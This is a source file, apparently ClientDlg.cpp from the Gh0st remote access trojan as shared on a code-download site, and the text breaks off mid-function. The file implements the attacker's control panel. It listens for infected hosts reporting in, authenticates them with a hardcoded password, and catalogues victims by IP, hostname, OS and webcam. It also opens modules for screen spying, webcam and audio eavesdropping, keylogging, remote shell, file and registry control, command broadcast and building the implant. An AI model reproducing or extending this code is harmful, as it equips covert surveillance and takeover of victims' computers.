www.pudn.com > Gh0st.rar > ClientDlg.cpp, change:2011-05-25,size:32058b


// ClientDlg.cpp : implementation file 
// 
 
#include "stdafx.h" 
#include "Client.h" 
#include "ClientDlg.h" 
#include "ScreenSpyDlg.h" 
#include "WebCamDlg.h" 
#include "AudioDlg.h" 
#include "KeyBoardDlg.h" 
#include "SystemDlg.h" 
#include "ShellDlg.h" 
#include "BuildServer.h" 
#include "Settings.h" 
#include "UpdateDlg.h" 
#include "InputDlg.h" 
#include <mmsystem.h>  //导入声音头文件 
#pragma comment(lib,"winmm.lib") //导入声音头文件库 
 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
#define WM_ICON_NOTIFY WM_USER+10 
///////////////////////////////////////////////////////////////////////////// 
// CAboutDlg dialog used for App About 
CIOCPServer *m_iocpServer = NULL; 
CClientDlg	*g_pFrame; // 在构造函数中初始化 
CString		m_Password = "password"; 
 
class CAboutDlg : public CDialog 
{ 
public: 
	CAboutDlg(); 
 
// Dialog Data 
	//{{AFX_DATA(CAboutDlg) 
	enum { IDD = IDD_ABOUTBOX }; 
	//}}AFX_DATA 
 
	// ClassWizard generated virtual function overrides 
	//{{AFX_VIRTUAL(CAboutDlg) 
	protected: 
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support 
	//}}AFX_VIRTUAL 
 
// Implementation 
protected: 
	//{{AFX_MSG(CAboutDlg) 
	//}}AFX_MSG 
	DECLARE_MESSAGE_MAP() 
}; 
 
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) 
{ 
	//{{AFX_DATA_INIT(CAboutDlg) 
	//}}AFX_DATA_INIT 
} 
 
void CAboutDlg::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CAboutDlg) 
	//}}AFX_DATA_MAP 
} 
 
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) 
	//{{AFX_MSG_MAP(CAboutDlg) 
		// No message handlers 
	//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CClientDlg dialog 
 
CClientDlg::CClientDlg(CWnd* pParent /*=NULL*/) 
	: CDialog(CClientDlg::IDD, pParent) 
{ 
	//{{AFX_DATA_INIT(CClientDlg) 
	m_edit_connect = _T(""); 
	m_edit_computer = _T(""); 
	m_ConnectPass = _T(""); 
	//}}AFX_DATA_INIT 
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32 
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);	 
	g_pFrame= this; 
	bActivate=FALSE; 
	m_nOnlineCount=0; 
	m_bInitial=FALSE; 
} 
 
void CClientDlg::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CClientDlg) 
	DDX_Control(pDX, IDC_EDIT_LOG, m_log); 
	DDX_Control(pDX, IDC_COMBO1, m_combo1); 
	DDX_Control(pDX, IDC_COMBO2, m_combo2); 
	DDX_Control(pDX, IDC_TAB1, m_TabCtrl); 
	DDX_Text(pDX, IDC_EDIT_CONNECT, m_edit_connect); 
	DDX_Text(pDX, IDC_EDIT_COMPUTER, m_edit_computer); 
	DDX_Text(pDX, IDC_EDIT_PASSWORD, m_ConnectPass); 
	//}}AFX_DATA_MAP 
} 
 
BEGIN_MESSAGE_MAP(CClientDlg, CDialog) 
	//{{AFX_MSG_MAP(CClientDlg) 
	ON_WM_SYSCOMMAND() 
	ON_WM_PAINT() 
	ON_WM_QUERYDRAGICON() 
	ON_MESSAGE(WM_ICON_NOTIFY, OnTrayNotification) 
	ON_NOTIFY(TCN_SELCHANGE, IDC_TAB1, OnSelchangeTab1) 
	ON_COMMAND(IDM_SHOW, OnShow) 
	ON_COMMAND(IDM_HIDE, OnHide) 
	ON_COMMAND(IDM_EXIT, OnExit) 
	ON_WM_DESTROY() 
	ON_COMMAND(IDM_ABOUTBOX, OnAboutbox) 
	ON_BN_CLICKED(IDM_SCREENSPY, OnScreenspy) 
	ON_BN_CLICKED(IDM_WEBCAM, OnWebcam) 
	ON_BN_CLICKED(IDM_AUDIO_LISTEN, OnAudioListen) 
	ON_BN_CLICKED(IDM_KEYBOARD, OnKeyboard) 
	ON_BN_CLICKED(IDM_REMOTESHELL, OnRemoteshell) 
	ON_BN_CLICKED(IDM_BUILD, OnBuild) 
	ON_COMMAND(IDM_SETTINGS, OnSettings) 
	ON_BN_CLICKED(IDM_UPDATE, OnUpdate) 
	ON_BN_CLICKED(IDC_BTN_SAVE, OnBtnSave) 
	ON_BN_CLICKED(IDM_SYSTEM, OnSystem) 
	//}}AFX_MSG_MAP 
	ON_MESSAGE(WM_ADDTOLIST, OnAddToList) 
   	ON_MESSAGE(WM_REMOVEFROMLIST, OnRemoveFromList) 
	ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog) 
	ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenWebCamDialog) 
	ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog) 
	ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyBoardDialog) 
	ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog) 
	ON_MESSAGE(WM_OPENSYSTEMDIALOG, OnOpenSystemDialog) 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CClientDlg message handlers 
BOOL CClientDlg::OnInitDialog() 
{ 
	CDialog::OnInitDialog(); 
 
	// Add "About..." menu item to system menu. 
 
	// IDM_ABOUTBOX must be in the system command range. 
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); 
	ASSERT(IDM_ABOUTBOX < 0xF000); 
 
	CMenu* pSysMenu = GetSystemMenu(FALSE); 
	if (pSysMenu != NULL) 
	{ 
		CString strAboutMenu; 
		strAboutMenu.LoadString(IDS_ABOUTBOX); 
		if (!strAboutMenu.IsEmpty()) 
		{ 
			pSysMenu->AppendMenu(MF_SEPARATOR); 
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); 
		} 
	} 
 
	// Set the icon for this dialog.  The framework does this automatically 
	//  when the application's main window is not a dialog 
	SetIcon(m_hIcon, TRUE);			// Set big icon 
	SetIcon(m_hIcon, FALSE);		// Set small icon 
 
	// TODO: Add extra initialization here	 
	m_bInitial=TRUE; 
 
    m_combo1.InsertString(0,"自动上线主机"); 
	m_combo2.InsertString(0,"显示搜索结果"); 
	m_combo1.SetCurSel(0); 
	m_combo2.SetCurSel(0); 
 
	m_TabCtrl.InsertItem(0, "文件管理器"); 
	m_TabCtrl.InsertItem(1, "系统操作"); 
	m_TabCtrl.InsertItem(2, "插件管理"); 
	m_TabCtrl.InsertItem(3, "注册表管理器"); 
	m_TabCtrl.InsertItem(4, "服务管理"); 
	m_TabCtrl.InsertItem(5, "共享管理"); 
	m_TabCtrl.InsertItem(6, "代理服务"); 
	m_TabCtrl.InsertItem(7, "命令广播"); 
 
	//添加状态栏	 
	m_wndStatusBar.Create(WS_CHILD|WS_VISIBLE|CCS_BOTTOM,CRect(0,0,0,0),this,10000);	 
	int strPartDim[3]={160,500,-1};	 
	m_wndStatusBar.SetParts(3,strPartDim);//设置状态栏为4部分	 
	//	m_wndStatusBar.SetText("我的电脑",0,0);	 
	m_wndStatusBar.SetText("自动上线:0台",2,0); 
 
	if (!m_FileManagerDlg.m_hWnd&&!m_CommandBcast.m_hWnd&&!m_ServiceDlg.m_hWnd&&!m_RegeditDlg.m_hWnd 
		&&!m_System.m_hWnd&&!m_PluginDlg.m_hWnd&&!m_ShareDlg.m_hWnd&&!m_ProxyDlg.m_hWnd) 
	{ 
	  m_FileManagerDlg.Create(IDD_FILEMANAGER_DLG,&m_TabCtrl);//创建非模态对话框 
      m_CommandBcast.Create(IDD_COMMAND_BCAST,&m_TabCtrl); 
	  m_ServiceDlg.Create(IDD_SERVICE_DLG,&m_TabCtrl); 
	  m_RegeditDlg.Create(IDD_REGEDIT_DLG,&m_TabCtrl); 
	  m_System.Create(IDD_SYSTEM_DLG,&m_TabCtrl); 
	  m_PluginDlg.Create(IDD_PLUGIN_DLG,&m_TabCtrl); 
	  m_ShareDlg.Create(IDD_SHARE_DLG,&m_TabCtrl); 
	  m_ProxyDlg.Create(IDD_PROXY_DLG,&m_TabCtrl); 
	 
	  CRect rect; 
	  m_TabCtrl.GetClientRect(rect); 
	  rect.InflateRect(-1,-20,-2,-2); 
	  m_FileManagerDlg.MoveWindow(rect); 
	  m_CommandBcast.MoveWindow(rect); 
	  m_ServiceDlg.MoveWindow(rect); 
	  m_RegeditDlg.MoveWindow(rect); 
	  m_System.MoveWindow(rect); 
	  m_PluginDlg.MoveWindow(rect); 
	  m_ShareDlg.MoveWindow(rect); 
	  m_ProxyDlg.MoveWindow(rect); 
 
      m_FileManagerDlg.ShowWindow(SW_SHOW);	   
      m_TabCtrl.SetCurSel(0); 
	} 
 
	WORD wVersionRequested; 
	WSADATA wsaData; 
	wVersionRequested = MAKEWORD( 2, 0 ); 
	CString str; 
	GetWindowText(str); 
    str+="  "; 
	if ( WSAStartup( wVersionRequested, &wsaData ) == 0 ) //这个没加取不到IP 
	{ 
		 
		char hostname[256]={0};  
		gethostname(hostname, sizeof(hostname)); 
		HOSTENT *host = gethostbyname(hostname); 
		if (host != NULL) 
		{  
			for ( int i=0; ; i++ ) 
			{  
				str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]); 
				if ( host->h_addr_list[i] + host->h_length >= host->h_name ) 
					break; 
				str += "/"; 
			} 
		} 
		WSACleanup( ); 
	} 
    SetWindowText(str); 
     
	CString temp; 
	if (bActivate) 
	{       
	  temp.Format("当前自动上线端口:%d",((CClientApp*)AfxGetApp())->nPort); 
	}else{ 
      temp.Format("端口[%d]绑定失败!",((CClientApp*)AfxGetApp())->nPort); 
	} 
	SetLogText(temp); 
 
	return TRUE;  // return TRUE  unless you set the focus to a control 
} 
 
void CClientDlg::OnSysCommand(UINT nID, LPARAM lParam) 
{ 
	if ((nID & 0xFFF0) == IDM_ABOUTBOX) 
	{ 
		CAboutDlg dlgAbout; 
		dlgAbout.DoModal(); 
	} 
	else if (nID == SC_MINIMIZE) 
	{ 
		if (!m_TrayIcon.Enabled()) 
			m_TrayIcon.Create(this, WM_ICON_NOTIFY, "灰鸽子运行中 ....", 
			AfxGetApp()->LoadIcon(IDR_MAINFRAME), IDR_MINIMIZE, TRUE); //构造 
		ShowWindow(SW_HIDE); 
	}else 
	{ 
		CDialog::OnSysCommand(nID, lParam); 
	} 
} 
 
// If you add a minimize button to your dialog, you will need the code below 
//  to draw the icon.  For MFC applications using the document/view model, 
//  this is automatically done for you by the framework. 
 
void CClientDlg::OnPaint()  
{ 
	if (IsIconic()) 
	{ 
		CPaintDC dc(this); // device context for painting 
 
		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); 
 
		// Center icon in client rectangle 
		int cxIcon = GetSystemMetrics(SM_CXICON); 
		int cyIcon = GetSystemMetrics(SM_CYICON); 
		CRect rect; 
		GetClientRect(&rect); 
		int x = (rect.Width() - cxIcon + 1) / 2; 
		int y = (rect.Height() - cyIcon + 1) / 2; 
 
		// Draw the icon 
		dc.DrawIcon(x, y, m_hIcon); 
	} 
	else 
	{ 
		CDialog::OnPaint(); 
	} 
} 
 
// The system calls this to obtain the cursor to display while the user drags 
//  the minimized window. 
HCURSOR CClientDlg::OnQueryDragIcon() 
{ 
	return (HCURSOR) m_hIcon; 
} 
 
void CClientDlg::OnSelchangeTab1(NMHDR* pNMHDR, LRESULT* pResult)  
{ 
	// TODO: Add your control notification handler code here 
	int CurSel=m_TabCtrl.GetCurSel();  
	switch(CurSel)  
	{  
	case 0: 	 
		{ 
		m_FileManagerDlg.ShowWindow(SW_SHOW); 
		m_CommandBcast.ShowWindow(SW_HIDE); 
		m_ServiceDlg.ShowWindow(SW_HIDE); 
		m_RegeditDlg.ShowWindow(SW_HIDE); 
		m_System.ShowWindow(SW_HIDE); 
		m_PluginDlg.ShowWindow(SW_HIDE); 
		m_ShareDlg.ShowWindow(SW_HIDE); 
		m_ProxyDlg.ShowWindow(SW_HIDE); 
		} 
		break;  
	case 1:  
		{ 
	   m_FileManagerDlg.ShowWindow(SW_HIDE); 
	   m_CommandBcast.ShowWindow(SW_HIDE); 
	   m_ServiceDlg.ShowWindow(SW_HIDE); 
	   m_RegeditDlg.ShowWindow(SW_HIDE); 
	   m_System.ShowWindow(SW_SHOW); 
	   m_PluginDlg.ShowWindow(SW_HIDE); 
	   m_ShareDlg.ShowWindow(SW_HIDE); 
	   m_ProxyDlg.ShowWindow(SW_HIDE); 
		} 
		break; 
	case 2:  
		{ 
	   m_FileManagerDlg.ShowWindow(SW_HIDE); 
	   m_CommandBcast.ShowWindow(SW_HIDE); 
	   m_ServiceDlg.ShowWindow(SW_HIDE); 
	   m_RegeditDlg.ShowWindow(SW_HIDE); 
	   m_System.ShowWindow(SW_HIDE); 
	   m_PluginDlg.ShowWindow(SW_SHOW); 
	   m_ShareDlg.ShowWindow(SW_HIDE); 
	   m_ProxyDlg.ShowWindow(SW_HIDE); 
		} 
	   break; 
	case 3:  
		{ 
       m_FileManagerDlg.ShowWindow(SW_HIDE); 
	   m_CommandBcast.ShowWindow(SW_HIDE); 
	   m_ServiceDlg.ShowWindow(SW_HIDE); 
	   m_RegeditDlg.ShowWindow(SW_SHOW); 
	   m_System.ShowWindow(SW_HIDE); 
	   m_PluginDlg.ShowWindow(SW_HIDE); 
	   m_ShareDlg.ShowWindow(SW_HIDE); 
	   m_ProxyDlg.ShowWindow(SW_HIDE); 
		} 
		break;  
	case 4: 
		{ 
        m_FileManagerDlg.ShowWindow(SW_HIDE); 
		m_CommandBcast.ShowWindow(SW_HIDE); 
		m_ServiceDlg.ShowWindow(SW_SHOW); 
		m_RegeditDlg.ShowWindow(SW_HIDE); 
		m_System.ShowWindow(SW_HIDE); 
		m_PluginDlg.ShowWindow(SW_HIDE); 
		m_ShareDlg.ShowWindow(SW_HIDE); 
		m_ProxyDlg.ShowWindow(SW_HIDE); 
		} 
		break; 
	case 5: 
		{ 
		m_FileManagerDlg.ShowWindow(SW_HIDE); 
		m_CommandBcast.ShowWindow(SW_HIDE); 
		m_ServiceDlg.ShowWindow(SW_HIDE); 
		m_RegeditDlg.ShowWindow(SW_HIDE); 
		m_System.ShowWindow(SW_HIDE); 
		m_PluginDlg.ShowWindow(SW_HIDE); 
		m_ShareDlg.ShowWindow(SW_SHOW); 
		m_ProxyDlg.ShowWindow(SW_HIDE); 
		} 
		break; 
	case 6: 
		{ 
		m_FileManagerDlg.ShowWindow(SW_HIDE); 
		m_CommandBcast.ShowWindow(SW_HIDE); 
		m_ServiceDlg.ShowWindow(SW_HIDE); 
		m_RegeditDlg.ShowWindow(SW_HIDE); 
		m_System.ShowWindow(SW_HIDE); 
		m_PluginDlg.ShowWindow(SW_HIDE); 
		m_ShareDlg.ShowWindow(SW_HIDE); 
		m_ProxyDlg.ShowWindow(SW_SHOW); 
		} 
		break; 
    case 7: 
		{ 
        m_FileManagerDlg.ShowWindow(SW_HIDE); 
		m_CommandBcast.ShowWindow(SW_SHOW); 
		m_ServiceDlg.ShowWindow(SW_HIDE); 
		m_RegeditDlg.ShowWindow(SW_HIDE); 
		m_System.ShowWindow(SW_HIDE); 
		m_PluginDlg.ShowWindow(SW_HIDE); 
		m_ShareDlg.ShowWindow(SW_HIDE); 
		m_ProxyDlg.ShowWindow(SW_HIDE); 
		} 
		break; 
	default:   
		break; 
	} 
	*pResult = 0; 
} 
 
void CClientDlg::Activate(UINT nPort, UINT nMaxConnections) 
{ 
	if (m_iocpServer != NULL) 
	{ 
		m_iocpServer->Shutdown(); 
		delete m_iocpServer; 
		 
	} 
	m_iocpServer = new CIOCPServer; 
	 
	CString temp; 
	// 开启IOCP服务器 
	if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort)) 
	{ 
		this->bActivate=TRUE;	 
	} 
	else 
	{ 
		this->bActivate=FALSE; 
	} 
 
	if (m_bInitial) 
	 if (this->bActivate) 
	 { 
	   CString temp; 
       temp.Format("修改当前自动上线端口为:%d",nPort); 
	   SetLogText(temp); 
	   ((CClientApp*)AfxGetApp())->nPort=nPort; 
	 } 
	 
} 
 
void CALLBACK CClientDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode) 
{ 
	try 
	{ 
	//	CClientDlg* pFrame = (CClientDlg*) lpParam;			 
	//	pFrame->m_iocpServer = m_iocpServer; 
 
	/*	CString str; 
		str.Format("S: %.2f kb/s R: %.2f kb/s", (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024); 
		g_pFrame->m_wndStatusBar.SetText(str,0,0);*/ 
		 
		switch (nCode) 
		{ 
		case NC_CLIENT_CONNECT: 
			break; 
		case NC_CLIENT_DISCONNECT: 
			g_pFrame->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); 
			break; 
		case NC_TRANSMIT: 
			break; 
		case NC_RECEIVE: 
			ProcessReceive(pContext); 
			break; 
		case NC_RECEIVE_COMPLETE: 
			ProcessReceiveComplete(pContext); 
			break; 
		} 
	}catch(...){} 
} 
 
LRESULT CClientDlg::OnTrayNotification(WPARAM wParam, LPARAM lParam) 
{ 
	if (LOWORD(lParam) == WM_LBUTTONDBLCLK) 
	{ 
		ShowWindow(SW_SHOW); 
		return TRUE; 
	} 
	return m_TrayIcon.OnTrayNotification(wParam, lParam); 
} 
 
void CClientDlg::OnShow()  
{ 
	// TODO: Add your command handler code here 
	ShowWindow(SW_SHOW); 
	::SetForegroundWindow(m_hWnd); 
} 
 
void CClientDlg::OnHide()  
{ 
	// TODO: Add your command handler code here 
	ShowWindow(SW_HIDE); 
} 
 
void CClientDlg::OnExit()  
{ 
	// TODO: Add your command handler code here 
	OnCancel(); 
} 
 
 
void CClientDlg::OnDestroy()  
{ 
	CDialog::OnDestroy(); 
	// TODO: Add your message handler code here 
	m_TrayIcon.RemoveIcon(); 
	 
	m_iocpServer->Shutdown(); 
	delete m_iocpServer; 
	//销毁非模态对话框 
	m_FileManagerDlg.DestroyWindow(); 
	m_CommandBcast.DestroyWindow(); 
} 
 
//需要显示进度的对话框 
void CClientDlg::ProcessReceive(ClientContext *pContext) 
{ 
	if (pContext == NULL) 
		return; 
	// 如果管理对话框打开,交给相应的对话框处理 
	CDialog	*dlg = (CDialog	*)pContext->m_Dialog[1]; 
	 
	// 交给窗口处理 
	if (pContext->m_Dialog[0] > 0) 
	{ 
		switch (pContext->m_Dialog[0]) 
		{ 
		case SCREENSPY_DLG: 
			((CScreenSpyDlg *)dlg)->OnReceive(); 
			break; 
		case WEBCAM_DLG: 
			((CWebCamDlg *)dlg)->OnReceive(); 
			break; 
		case AUDIO_DLG: 
			((CAudioDlg *)dlg)->OnReceive(); 
			break; 
		default: 
			break; 
		} 
		return; 
	} 
} 
 
void CClientDlg::ProcessReceiveComplete(ClientContext *pContext) 
{ 
	if (pContext == NULL) 
		return; 
	 
	// 如果管理对话框打开,交给相应的对话框处理 
	CDialog	*dlg = (CDialog	*)pContext->m_Dialog[1]; 
	 
	// 交给窗口处理 
	if (pContext->m_Dialog[0] > 0) 
	{ 
		switch (pContext->m_Dialog[0]) 
		{ 
		case SCREENSPY_DLG: 
			((CScreenSpyDlg *)dlg)->OnReceiveComplete(); 
			break; 
		case WEBCAM_DLG: 
			((CWebCamDlg *)dlg)->OnReceiveComplete(); 
			break; 
		case AUDIO_DLG: 
			((CAudioDlg *)dlg)->OnReceiveComplete(); 
			break; 
		case KEYBOARD_DLG: 
			((CKeyBoardDlg *)dlg)->OnReceiveComplete(); 
			break; 
		case SHELL_DLG: 
			((CShellDlg *)dlg)->OnReceiveComplete(); 
			break; 
		case SYSTEM_DLG: 
			((CSystemDlg *)dlg)->OnReceiveComplete(); 
			break; 
		case FILEMANAGER_DLG: 
			((CFileManagerDlg *)dlg)->OnReceiveComplete(); 
			break; 
		default: 
			break; 
		} 
		return; 
	} 
	 
	switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) 
	{ 
	case TOKEN_AUTH: // 要求验证 
		m_iocpServer->Send(pContext, (PBYTE)m_Password.GetBuffer(0), m_Password.GetLength() + 1); 
		break; 
	case TOKEN_HEARTBEAT: // 回复心跳包 
		{ 
			BYTE	bToken = COMMAND_REPLAY_HEARTBEAT; 
			m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken)); 
		} 
		 
		break; 
	case TOKEN_LOGIN: // 上线包		 
		{ 
			if (m_iocpServer->m_nMaxConnections <= g_pFrame->m_CommandBcast.m_list_computer.GetItemCount()) 
			{ 
				closesocket(pContext->m_Socket); 
			} 
			else 
			{ 
				pContext->m_bIsMainSocket = true; 
				g_pFrame->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext); 
			} 
			// 激活 
			BYTE	bToken = COMMAND_ACTIVED; 
			m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken)); 
		}		 
		break; 
	case TOKEN_DRIVE_LIST: // 驱动器列表 
		{ 
			// 保存远程驱动器列表 
			memset(g_pFrame->m_FileManagerDlg.m_bRemoteDriveList, 0, sizeof(g_pFrame->m_FileManagerDlg.m_bRemoteDriveList)); 
	        memcpy(g_pFrame->m_FileManagerDlg.m_bRemoteDriveList, pContext->m_DeCompressionBuffer.GetBuffer(1), pContext->m_DeCompressionBuffer.GetBufferLen() - 1); 
		    g_pFrame->m_FileManagerDlg.m_iocpServer=m_iocpServer; 
			g_pFrame->m_FileManagerDlg.m_pContext=pContext;				 
			pContext->m_Dialog[0]=FILEMANAGER_DLG; 
	        pContext->m_Dialog[1]=(int)&g_pFrame->m_FileManagerDlg; 
			g_pFrame->m_FileManagerDlg.FixedRemoteDriveList(); 
			 
		} 
		break; 
	case TOKEN_BITMAPINFO: // 屏幕查看 
		g_pFrame->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext); 
		break; 
	case TOKEN_WEBCAM_BITMAPINFO: // 摄像头查看 
    	g_pFrame->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext); 
		break; 
	case TOKEN_AUDIO_START: // 语音监听 
	    g_pFrame->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext); 
		break; 
	case TOKEN_KEYBOARD_START: //键盘记录 
	    g_pFrame->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext); 
		break; 
	case TOKEN_SHELL_START: //远程终端 
	    g_pFrame->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext); 
		break; 
	case TOKEN_PSLIST: //进程列表 
		g_pFrame->PostMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)pContext); 
		break; 
		// 命令停止当前操作 
	default: 
		closesocket(pContext->m_Socket); 
		break; 
	}	 
} 
 
 
 
LRESULT CClientDlg::OnAddToList(WPARAM wParam, LPARAM lParam) 
{ 
 
	ClientContext	*pContext = (ClientContext *)lParam; 
	if (pContext == NULL) 
		return -1; 
 
	CString	strToolTipsText, strOS,	str; 
	try 
	{ 
		// 不合法的数据包 
		if (pContext->m_DeCompressionBuffer.GetBufferLen() != sizeof(LOGININFO)) 
			return -1; 
		 
		LOGININFO*	LoginInfo = (LOGININFO*)pContext->m_DeCompressionBuffer.GetBuffer(); 
 
		//这里检测重复上线及密码等 
 
		m_nOnlineCount++; //在线主机数加1 
 
		// 外网IP		 
		sockaddr_in  sockAddr; 
		memset(&sockAddr, 0, sizeof(sockAddr)); 
		int nSockAddrLen = sizeof(sockAddr); 
		BOOL bResult = getpeername(pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen); 
		CString IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; 
 
		HTREEITEM hGroup=m_FileManagerDlg.m_tree_file.GetRootItem(); 
		hGroup=m_FileManagerDlg.m_tree_file.GetNextSiblingItem(hGroup); 
		HTREEITEM hCurrent; 
 
		BOOL bNewGroup=TRUE; 
		//判断所在分组,并加入之 
		while (hGroup) 
		{ 
			if (strstr(m_FileManagerDlg.m_tree_file.GetItemText(hGroup),LoginInfo->UpGroup)!=NULL) 
           { 
			CString strGroupName=m_FileManagerDlg.m_tree_file.GetItemText(hGroup); 
			int a = strGroupName.ReverseFind('('); 
			int b=strGroupName.ReverseFind(')'); 
			CString temp=strGroupName.Mid(a+1,b-a-1);//取出分组中个数 
			int num=atoi(temp); 
			num=num+1; 
			temp.Format("(%d)",num); 
		    strGroupName=strGroupName.Left(a)+temp; 
            m_FileManagerDlg.m_tree_file.SetItemText(hGroup,strGroupName); 
			int nIcon=LoginInfo->nIcon; 
			hCurrent=m_FileManagerDlg.m_tree_file.InsertItem(IPAddress,nIcon,nIcon,hGroup); //插入所在分组 
			bNewGroup=FALSE; //找到则不需要新建分组 
			 
			break;//找到所在分组则退出循环 
           } 
			hGroup=m_FileManagerDlg.m_tree_file.GetNextSiblingItem(hGroup); 
		} 
			 
		if (bNewGroup) 
		{ 
			CString tempNewGroup=LoginInfo->UpGroup; 
			tempNewGroup+="(1)"; 
			//将新组加入到符合条件主机前面,比较统一点 
            HTREEITEM hSearchNode=m_FileManagerDlg.m_tree_file.GetRootItem(); 
			HTREEITEM hNext=m_FileManagerDlg.m_tree_file.GetNextSiblingItem(hSearchNode); 
			while (hNext) 
			{ 
				if (hNext==m_FileManagerDlg.m_hSearchComputer) 
				 break; 
				hSearchNode=m_FileManagerDlg.m_tree_file.GetNextSiblingItem(hSearchNode); 
				hNext=m_FileManagerDlg.m_tree_file.GetNextSiblingItem(hSearchNode); 
			} 
            hGroup=m_FileManagerDlg.m_tree_file.InsertItem(tempNewGroup,7,7,TVI_ROOT,hSearchNode); //插入新组 
			hCurrent=m_FileManagerDlg.m_tree_file.InsertItem(IPAddress,LoginInfo->nIcon,LoginInfo->nIcon,hGroup); //插入主机 
		} 
		 
		//以下是添加到命令广播里的列表控件 
		//ID	 
		int nCnt = m_CommandBcast.m_list_computer.GetItemCount(); 
		str.Format("%d", nCnt++);	 
		int i = m_CommandBcast.m_list_computer.InsertItem(nCnt, str, 15); 
 
		// 外网IP 
		m_CommandBcast.m_list_computer.SetItemText(i, 1, IPAddress); 
 
		// 内网IP 
		m_CommandBcast.m_list_computer.SetItemText(i, 2, inet_ntoa(LoginInfo->IPAddress)); 
 
		// 主机名 
		m_CommandBcast.m_list_computer.SetItemText(i, 3, LoginInfo->HostName); 
 
		//////////////////////////////////////////////////////////////////////////////////////// 
		// 显示输出信息 
		char *pszOS = NULL; 
		switch (LoginInfo->OsVerInfoEx.dwPlatformId) 
		{ 
			 
		case VER_PLATFORM_WIN32_NT: 
			if (LoginInfo->OsVerInfoEx.dwMajorVersion <= 4 ) 
				pszOS = "NT"; 
			if ( LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0 ) 
				pszOS = "2000"; 
			if ( LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 1 ) 
				pszOS = "XP"; 
			if ( LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 2 ) 
				pszOS = "2003"; 
			if ( LoginInfo->OsVerInfoEx.dwMajorVersion == 6 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0 ) 
				pszOS = "Vista";  // Just Joking 
		} 
		strOS.Format 
			( 
			"%s SP%d (Build %d)", 
			//OsVerInfo.szCSDVersion, 
			pszOS,  
			LoginInfo->OsVerInfoEx.wServicePackMajor,  
			LoginInfo->OsVerInfoEx.dwBuildNumber 
			); 
	    m_CommandBcast.m_list_computer.SetItemText(i, 4, strOS); 
 
		// CPU 
		str.Format("%dMHz", LoginInfo->CPUClockMhz); 
		m_CommandBcast.m_list_computer.SetItemText(i, 5, str); 
 
		// Speed 
 		str.Format("%d", LoginInfo->dwSpeed); 
 		m_CommandBcast.m_list_computer.SetItemText(i, 6, str); 
 
        // 摄像头 
		str = LoginInfo->bIsWebCam ? "有" : "无"; 
		m_CommandBcast.m_list_computer.SetItemText(i, 7, str); 
 
		//版本 
        m_CommandBcast.m_list_computer.SetItemText(i, 8, LoginInfo->Version); 
 
		strToolTipsText.Format("新的连接信息:\nHost: %s\nIP  : %s\nOS  : Windows %s", LoginInfo->HostName, IPAddress, strOS); 
 
		if (((CClientApp *)AfxGetApp())->m_bIsQQwryExist) 
		{ 
 
			str = m_QQwry->IPtoAdd(IPAddress); 
			m_CommandBcast.m_list_computer.SetItemText(i, 9, str); 
 
			strToolTipsText += "\nArea: "; 
			strToolTipsText += str; 
		} 
	 
		// 指定唯一标识 
		m_FileManagerDlg.m_tree_file.SetItemData(hCurrent, (DWORD) pContext); 
        m_CommandBcast.m_list_computer.SetItemData(i,(DWORD) pContext); 
		g_pFrame->ShowConnectionsNumber(); 
	 
		if (!((CClientApp *)AfxGetApp())->m_bIsDisablePopTips) 
			g_pFrame->ShowToolTips(strToolTipsText); 
		 
		strToolTipsText.Format("有主机上线!IP->[%s] 所属分组->[%s]",IPAddress,LoginInfo->UpGroup); 
		SetLogText(strToolTipsText); 
		//播放声音///////////////////////////////////////////////////////////////// 
		char Path[200]={0}; 
		GetModuleFileName(NULL,Path,200); 
		*strrchr(Path,'\\')=0; 
	    strcat(Path,"\\Sound\\Login.wav"); 
		strToolTipsText=m_IniFile.GetString("Settings","Sound"); 
		if (strToolTipsText.IsEmpty()) 
